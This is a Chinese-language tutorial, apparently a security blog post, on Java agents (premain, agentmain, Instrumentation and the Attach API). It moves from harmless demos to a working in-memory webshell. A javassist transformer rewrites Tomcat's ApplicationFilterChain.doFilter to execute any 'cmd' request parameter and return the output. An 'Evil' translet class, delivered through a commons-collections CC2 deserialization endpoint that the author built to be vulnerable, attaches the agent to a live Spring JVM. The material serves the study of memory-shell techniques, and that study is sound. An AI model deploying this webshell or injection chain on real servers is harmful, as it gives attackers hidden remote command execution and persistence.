premain-启动时加载 agent Demo 可在命令行利用 -javaagent 来实现启动时加载
主要是通过写 premain 函数并在 MANIFEST 中指定 Premain-Class 来在启动另外的类前,先加载 premain 类,懒得创建文件再去编译写 jar 文件了,这里我个简单的一键生成测试 jar 包的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 import javassist.*;import java.io.FileOutputStream;import java.io.IOException;import java.io.InputStream;import java.util.jar.Attributes;import java.util.jar.JarEntry;import java.util.jar.JarOutputStream;import java.util.jar.Manifest;public class _SimpleExampleMaker { private static final ClassPool pool = ClassPool.getDefault(); public static void main (String[] args) throws Throwable { Class<?> testClass = makeClassWithMethod("TestClass" , "public static void main(String[] args) { System.out.println(\"Main class Running\"); }" ); Class<?> premainDemo = makeClassWithMethod("PremainDemo" , "public static void premain(String agentArgs, java.lang.instrument.Instrumentation inst) throws Exception {System.out.println(agentArgs.isEmpty() ? \"null\" : agentArgs);System.out.println(\"premain method is invoked!\");}" ); makePremainJar(premainDemo,"agent.jar" ,true ); makePremainJar(testClass,"demo.jar" ,false ); } public static Class<?> makeClassWithMethod(String className, String methodBody) throws Throwable { CtClass ctClass = pool.makeClass(className); CtMethod ctMethod = CtNewMethod.make(methodBody, ctClass); ctClass.addMethod(ctMethod); ctClass.writeFile("premain/src/main/java/javas" ); return ctClass.toClass(); } public static void makePremainJar (Class compileClass, String jarName, boolean is_premain) throws Throwable { String jarFilePath = "premain/src/main/java/jars/" + jarName; String className = compileClass.getName() + ".class" ; Manifest manifest = new Manifest (); manifest.getMainAttributes().put(Attributes.Name.MANIFEST_VERSION, "1.0" ); if (is_premain) { manifest.getMainAttributes().put(new Attributes .Name("Premain-Class" ), compileClass.getName()); } else { manifest.getMainAttributes().put(Attributes.Name.MAIN_CLASS, compileClass.getName()); } try (FileOutputStream fos = new FileOutputStream (jarFilePath); JarOutputStream jos = new JarOutputStream (fos, manifest)) { jos.putNextEntry(new JarEntry (className)); byte [] bytes = pool.get(compileClass.getName()).toBytecode(); jos.write(bytes); jos.closeEntry(); System.out.println("JAR file created successfully!" ); } catch (IOException e) { e.printStackTrace(); } } }
运行上面的 java 代码后在 jars 目录下执行下面的内容:
1 2 java -javaagent:agent.jar[=options] -jar demo.jar java -javaagent:agent.jar=koishi -jar demo.jar
会发现输入以下内容
1 2 3 koishi premain method is invoked! Main class Running
可以发现 premain 确实在主要类之前执行了,而且 premain 方法的第一个参数 agentArgs 我们也是可传入的。
动态修改字节码 在实现 premain 的时候,我们除了像上面的例子那样能获取到 agentArgs 参数,还可以获取 Instrumentation 实例。
Instrumentation 是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果。
在 Instrumentation 中增加了名叫 Transformer 的 Class 文件转换器,转换器可以改变二进制流的数据,Transformer 可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码。
查看 Instrumentation 接口中的类方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public interface Instrumentation { void addTransformer (ClassFileTransformer transformer) ; boolean removeTransformer (ClassFileTransformer transformer) ; void retransformClasses (Class<?>... classes) throws UnmodifiableClassException; boolean isModifiableClass (Class<?> theClass) ; @SuppressWarnings("rawtypes") Class[] getAllLoadedClasses(); ...... }
简单讲一下 addTransformer,getAllLoadedClasses,retransformClasses 三个方法的作用
getAllLoadedClasses getAllLoadedClasses 方法能列出所有已加载的 Class,我们可以通过遍历 Class 数组来寻找我们需要重定义的 class。
retransformClasses 方法能对已加载的 class 进行重新定义,也就是说如果我们的目标类已经被加载的话,我们可以调用该函数,来重新触发这个Transformer的拦截,以此达到对已加载的类进行字节码修改的效果。
addTransformer 方法来用于注册 Transformer,所以我们可以通过编写 ClassFileTransformer 接口的实现类来注册我们自己的转换器。如果需要修改已经被JVM加载过的类的字节码,那么还需要设置在 MANIFEST.MF 中添加 Can-Retransform-Classes: true 或 Can-Redefine-Classes: true
写个简单的测试
MainDemo.java
1 2 3 4 5 6 7 package _InstrumentationTest;public class MainDemo { public static void main (String[] args) { System.out.println("I'm Main!!!" ); } }
PremainDemo.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package _InstrumentationTest;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.lang.instrument.Instrumentation;import java.security.ProtectionDomain;public class PremainDemo implements ClassFileTransformer { public static void premain (String agentArgs, Instrumentation inst) { PremainDemo transformer = new PremainDemo (); inst.addTransformer(transformer); } @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException { System.out.println(className); return new byte [0 ]; } }
这里实现了 ClassFileTransformer 接口并自定义了 transform 方法,主要作用是输出被拦截的类名。
Test.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 package _InstrumentationTest;import javassist.ClassPool;import java.io.FileOutputStream;import java.io.IOException;import java.util.jar.Attributes;import java.util.jar.JarEntry;import java.util.jar.JarOutputStream;import java.util.jar.Manifest;public class Test { private static final ClassPool pool = ClassPool.getDefault(); public static void main (String[] args) throws Throwable{ makePremainJar(MainDemo.class,"I_main.jar" ,false ); makePremainJar(PremainDemo.class,"I_premain.jar" ,true ); } public static void makePremainJar (Class compileClass, String jarName, boolean is_premain) throws Throwable { String jarFilePath = "premain/src/main/java/jars/" + jarName; String className = compileClass.getName().replace("." ,"/" ) + ".class" ; Manifest manifest = new Manifest (); manifest.getMainAttributes().put(Attributes.Name.MANIFEST_VERSION, "1.0" ); if (is_premain) { manifest.getMainAttributes().put(new Attributes .Name("Can-Redefine-Classes" ), "true" ); manifest.getMainAttributes().put(new Attributes .Name("Can-Retransform-Classes" ), "true" ); manifest.getMainAttributes().put(new Attributes .Name("Premain-Class" ), compileClass.getName()); } else { manifest.getMainAttributes().put(Attributes.Name.MAIN_CLASS, compileClass.getName()); } try (FileOutputStream fos = new FileOutputStream (jarFilePath); JarOutputStream jos = new JarOutputStream (fos, manifest)) { jos.putNextEntry(new JarEntry (className)); byte [] bytes = pool.get(compileClass.getName()).toBytecode(); jos.write(bytes); jos.closeEntry(); System.out.println("JAR file created successfully!" ); } catch (IOException e) { e.printStackTrace(); } } }
本类将上面的两个 java 处理为 jar 文件,并设置好 manifest 的内容,启动后可以发现输出了很多内容,我们也可以写一个简单的 spring 服务,通过 premain 的方式注入自己的 filter 内容(以 filter 为例)
通过之前对内存马的学习, org.apache.catalina.core.ApplicationFilterChain
下的 internalDoFilter
或者 doFilter
方法
都拥有Request
和Response
参数,修改一个就可以控制所有的请求与响应。
这里使用 javassist 对被拦截的类方法进行修改,修改如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 package _InstrumentationTest;import javassist.*;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.Instrumentation;import java.security.ProtectionDomain;public class PremainDemo implements ClassFileTransformer { private static final String targetClassName = "org.apache.catalina.core.ApplicationFilterChain" ; public static void premain (String agentArgs, Instrumentation inst) { PremainDemo transformer = new PremainDemo (); inst.addTransformer(transformer); } @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) { className = className.replace("/" ,"." ); if (className.equals(targetClassName)){ System.out.println("Find the Inject Class: " + targetClassName); ClassPool pool = ClassPool.getDefault(); pool.appendClassPath(new LoaderClassPath (Thread.currentThread().getContextClassLoader())); try { CtClass c = pool.getCtClass(className); CtMethod m = c.getDeclaredMethod("doFilter" ); m.insertBefore("javax.servlet.http.HttpServletRequest req = $1;\n" + "javax.servlet.http.HttpServletResponse res = $2;\n" + "java.lang.String cmd = request.getParameter(\"cmd\");\n" + "if (cmd != null){\n" + " try {\n" + " java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" + " java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" + " String line;\n" + " StringBuilder sb = new StringBuilder(\"\");\n" + " while ((line=reader.readLine()) != null){\n" + " sb.append(line).append(\"\\n\");\n" + " }\n" + " response.getOutputStream().print(sb.toString());\n" + " response.getOutputStream().flush();\n" + " response.getOutputStream().close();\n" + " } catch (Exception e){\n" + " e.printStackTrace();\n" + " }\n" + "}" ); byte [] bytes = c.toBytecode(); c.detach(); return bytes; } catch (Exception e){ e.printStackTrace(); } } return new byte [0 ]; } }
随后将该内容打 jar 包,之后将其启动
1 java -javaagent :I_premain.jar -jar SpringDemo.jar
发现注入成功。
agentmain-启动后加载 agent 我们内存马注入的情况都是处于 JVM 已运行了的情况,所以上面的方法就不是很有用,不过在 jdk 1.6 中实现了attach-on-demand(按需附着),我们可以使用 Attach API 动态加载 agent ,然而 Attach API 在 tool.jar 中,jvm 启动时是默认不加载该依赖的,需要我们在 classpath 中额外进行指定
启动后加载 agent 通过新的代理操作来实现:agentmain,使得可以在 main 函数开始运行之后再运行
和之前的 premain 函数一样,我们可以编写 agentmain 函数的 Java 类
1 2 public static void agentmain (String agentArgs, Instrumentation inst) public static void agentmain (String agentArgs)
要求和之前类似,这里我们去实现 agentmain 方法,还要在META-INF/MANIFEST.MF
中加入Agent-Class
Attach API 很简单,只有 2 个主要的类,都在 com.sun.tools.attach
包里面。着重关注的是VitualMachine
这个类。
(所以记得导入本地的 tools.jar 作为依赖)
VirtualMachine VirtualMachine 可以来实现获取系统信息,内存dump、现成dump、类信息统计(例如JVM加载的类)。里面配备有几个方法LoadAgent,Attach 和 Detach 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public abstract class VirtualMachine { public static List<VirtualMachineDescriptor> list () { ... } public static VirtualMachine attach (String id) { ... } public abstract void detach () {} public void loadAgent (String agent) { ... } }
VirtualMachineDescriptor VirtualMachineDescriptor 是一个描述虚拟机的容器类,配合 VirtualMachine 类完成各种功能。
获取Java程序进程 可以使用自带的 jps -l
命令去查看
也可以通过代码去获取
1 2 3 4 5 6 public static void main (String[] args) { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor virtualMachineDescriptor : list) { System.out.println(virtualMachineDescriptor+"\n" +virtualMachineDescriptor.id()); } }
Demo 知道上面的内容后,就可以自己简单写个项目手动为其添加 agent.jar
先写个 ClassFileTransformer 的实现类,并自定义实现 transform 方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package Demo;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.lang.instrument.Instrumentation;import java.security.ProtectionDomain;public class AgentDemo implements ClassFileTransformer { public static void agentmain (String agentArgs, Instrumentation instrumentation) { instrumentation.addTransformer(new AgentDemo (), true ); } @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException { System.out.println("加载类:" +className); return classfileBuffer; } }
打 jar 包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 package Demo;import javassist.ClassPool;import java.io.*;import java.util.jar.*;public class _Maker { private static final ClassPool pool = ClassPool.getDefault(); public static void main (String[] args) throws Throwable{ makePremainJar(AgentDemo.class,"agentmain.jar" ,null ,true ); } public static void makePremainJar (Class compileClass, String jarName, String libPath, boolean is_premain) throws Throwable { String jarFilePath = "agentmain/src/main/java/Demo/jars/" + jarName; String className = compileClass.getName().replace("." ,"/" ) + ".class" ; Manifest manifest = new Manifest (); manifest.getMainAttributes().put(Attributes.Name.MANIFEST_VERSION, "1.0" ); if (is_premain) { manifest.getMainAttributes().put(new Attributes .Name("Can-Redefine-Classes" ), "true" ); manifest.getMainAttributes().put(new Attributes .Name("Can-Retransform-Classes" ), "true" ); manifest.getMainAttributes().put(new Attributes .Name("Agent-Class" ), compileClass.getName()); } else { manifest.getMainAttributes().put(Attributes.Name.MAIN_CLASS, compileClass.getName()); } try (FileOutputStream fos = new FileOutputStream (jarFilePath); JarOutputStream jos = new JarOutputStream (fos, manifest)) { jos.putNextEntry(new JarEntry (className)); byte [] bytes = pool.get(compileClass.getName()).toBytecode(); jos.write(bytes); if (libPath != null && !libPath.isEmpty()){ File[] dependencyFiles = new File (libPath).listFiles(); if (dependencyFiles!=null && dependencyFiles.length!=0 ){ for (File dependencyFile : dependencyFiles) { String extraJarPath = dependencyFile.getAbsolutePath(); addJarToJar(jos, extraJarPath); } } } jos.closeEntry(); } catch (IOException e) { e.printStackTrace(); } System.out.println("JAR file created successfully!" ); } private static void addJarToJar (JarOutputStream jos, String jarFilePath) throws IOException { JarFile jarFile = new JarFile (jarFilePath); jarFile.stream().forEach(jarEntry -> { if (!jarEntry.getName().equals("META-INF/MANIFEST.MF" ) && !jarEntry.getName().equals("META-INF/" )) { try { jos.putNextEntry(new JarEntry (jarEntry.getName())); InputStream inputStream = jarFile.getInputStream(jarEntry); byte [] buffer = new byte [1024 ]; int bytesRead; while ((bytesRead = inputStream.read(buffer)) != -1 ) { jos.write(buffer, 0 , bytesRead); } inputStream.close(); jos.closeEntry(); } catch (IOException e) { e.printStackTrace(); } } }); jarFile.close(); } }
运行一下主类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package Demo;import com.sun.tools.attach.VirtualMachine;import com.sun.tools.attach.VirtualMachineDescriptor;import java.util.List;public class MainDemo { public static void main (String[] args) throws Exception{ String path = "agentmain/src/main/java/Demo/jars/agentmain.jar" ; List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor v:list){ if (v.displayName().contains("MainDemo" )){ System.out.println("已找到目标类,将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接,并将 agent.jar 发送给虚拟机" ); VirtualMachine vm = VirtualMachine.attach(v.id()); vm.loadAgent(path); vm.detach(); } } } }
可以发现成功调用了 agent.jar,并输出了加载的类名
注入内存马 这里还是以 Filter 内存马为例
spring 写个 cc2 的漏洞环境
1 2 3 4 5 <dependency > <groupId > org.apache.commons</groupId > <artifactId > commons-collections4</artifactId > <version > 4.0</version > </dependency >
写个反序列化接口
1 2 3 4 5 6 7 8 9 10 11 12 13 @RequestMapping(value = {"/poc"}) @ResponseBody public String poc (@RequestParam("poc") String poc) { byte [] bpoc = Base64.decodeBase64(poc); try { ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (bpoc)); ois.readObject(); ois.close(); }catch (Exception e){ e.printStackTrace(); } return "wow!" ; }
生成 Filter 内存马的 agent.jar , 记得遍历已加载的 class,如果存在的话那么就调用 retransformClasses 对其进行重定义,否则 ApplicationFilterChain 会修改失败。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 package AgentMemShell;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import javassist.LoaderClassPath;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.lang.instrument.Instrumentation;import java.security.ProtectionDomain;public class AgentDemo implements ClassFileTransformer { private static final String targetClassName = "org.apache.catalina.core.ApplicationFilterChain" ; public static void agentmain (String agentArgs, Instrumentation instrumentation) { instrumentation.addTransformer(new AgentDemo (), true ); Class[] classes = instrumentation.getAllLoadedClasses(); for (Class clas:classes){ if (clas.getName().equals(targetClassName)){ try { instrumentation.retransformClasses(new Class []{clas}); } catch (Exception e){ e.printStackTrace(); } } } } @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException { className = className.replace("/" ,"." ); if (className.equals(targetClassName)){ System.out.println("Find the Inject Class: " + targetClassName); ClassPool pool = ClassPool.getDefault(); pool.appendClassPath(new LoaderClassPath (Thread.currentThread().getContextClassLoader())); try { CtClass c = pool.getCtClass(className); CtMethod m = c.getDeclaredMethod("doFilter" ); m.insertBefore("javax.servlet.http.HttpServletRequest req = $1;\n" + "javax.servlet.http.HttpServletResponse res = $2;\n" + "java.lang.String cmd = request.getParameter(\"cmd\");\n" + "if (cmd != null){\n" + " try {\n" + " java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" + " java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" + " String line;\n" + " StringBuilder sb = new StringBuilder(\"\");\n" + " while ((line=reader.readLine()) != null){\n" + " sb.append(line).append(\"\\n\");\n" + " }\n" + " response.getOutputStream().print(sb.toString());\n" + " response.getOutputStream().flush();\n" + " response.getOutputStream().close();\n" + " } catch (Exception e){\n" + " e.printStackTrace();\n" + " }\n" + "}" ); byte [] bytes = c.toBytecode(); c.detach(); return bytes; } catch (Exception e){ e.printStackTrace(); } } return classfileBuffer; } }
打包 agent.jar 的时候,顺便把 tools.jar 也一起打进去,否则还需要去目标机器加载,不然就会出现找不到 VirtualMachine 类的问题。我们打入一个jar包,通过 urlclassloader 去获取一个 classloader 就可以来加载我们需要的 VirtualMachine 类了。
接着就需要想办法将我们的 agent.jar 加载进去
大致思路还是获取到 jvm 的 pid 号之后,调用 loadAgent 方法将 agent.jar 注入进去,通过反射调用方法即可。(假如服务存在文件上传的口子,能给我们上传 jar)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 package AgentMemShell;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Evil extends AbstractTranslet { static { try { String path = "R:\\languages\\Java\\study\\JNI_Rasp\\agentmain\\src\\main\\java\\AgentMemShell\\jars\\agentmain.jar" ; String springApplication = "com.example.springdemo.SpringDemoApplication" ; java.net.URL url = new java .io.File(path).toURI().toURL(); java.net.URLClassLoader classLoader = new java .net.URLClassLoader(new java .net.URL[]{url}); Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine" ); Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor" ); java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list" , null ); java.util.List list = (java.util.List) listMethod.invoke(MyVirtualMachine, null ); System.out.println("Running JVM list ..." ); for (int i = 0 ; i < list.size(); i++) { Object o = list.get(i); java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName" , null ); String name = (String) displayName.invoke(o, null ); if (name.contains(springApplication)) { java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id" , null ); String id = (String) getId.invoke(o, null ); System.out.println("id >>> " + id); java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach" , new Class []{String.class}); Object vm = attach.invoke(o, new Object []{id}); java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent" , new Class []{String.class}); loadAgent.invoke(vm, new Object []{path}); java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach" , null ); detach.invoke(vm, null ); System.out.println("Agent.jar Inject Success !!" ); break ; } } } catch (Exception e) { e.printStackTrace(); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
之后再使用 CC2 去加载这个 Evil 类的字节码就行了。